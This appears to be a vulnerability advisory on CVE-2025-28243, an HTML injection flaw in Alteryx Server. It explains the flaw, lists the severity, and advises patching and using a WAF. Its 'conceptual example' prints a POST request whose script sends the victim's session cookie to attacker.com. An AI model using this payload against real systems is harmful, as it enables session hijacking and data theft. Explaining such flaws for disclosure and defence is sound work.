Overview
In the rapidly evolving cyber landscape, new vulnerabilities are discovered regularly. One such vulnerability, identified as CVE-2025-28243, has been discovered in the Alteryx Server v.2023.1.1.460. This vulnerability allows HTML injection via a custom script to the pages component, leading to potential system compromise or data leakage. Given the widespread use of Alteryx Server in data analytics, this vulnerability has far-reaching implications for organizations that rely on the software for data processing and analytics.
Vulnerability Summary
CVE ID: CVE-2025-28243
Severity: High (8.0 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise and data leakage
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Product | Affected Versions
Alteryx Server | v.2023.1.1.460
How the Exploit Works
The vulnerability stems from the server’s inadequate sanitization of user input in the pages component. An attacker can craft an HTML script containing malicious code, which when executed, can lead to HTML injection. This can result in unauthorized access to sensitive information or even system compromise. The attacker can manipulate the HTML content that is displayed to the user, steal session cookies, or redirect the user to malicious web pages.
Conceptual Example Code
Let’s illustrate how this vulnerability might be exploited using a conceptual HTTP POST request. This example is purely illustrative and should not be used for malicious purposes.
POST /pages/script HTTP/1.1
Host: target.example.com
Content-Type: text/html
<html>
<body>
<script>
document.location='http://attacker.com/steal.php?cookie='+document.cookie;
</script>
</body>
</html>In this conceptual example, the attacker crafts an HTML script that redirects the user’s session cookie to a malicious website. If successful, this exploit could lead to unauthorized access to sensitive information or even system compromise.
Please note that the mitigation guidance for this vulnerability is to apply the vendor patch as soon as it becomes available. In the meantime, organizations can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure.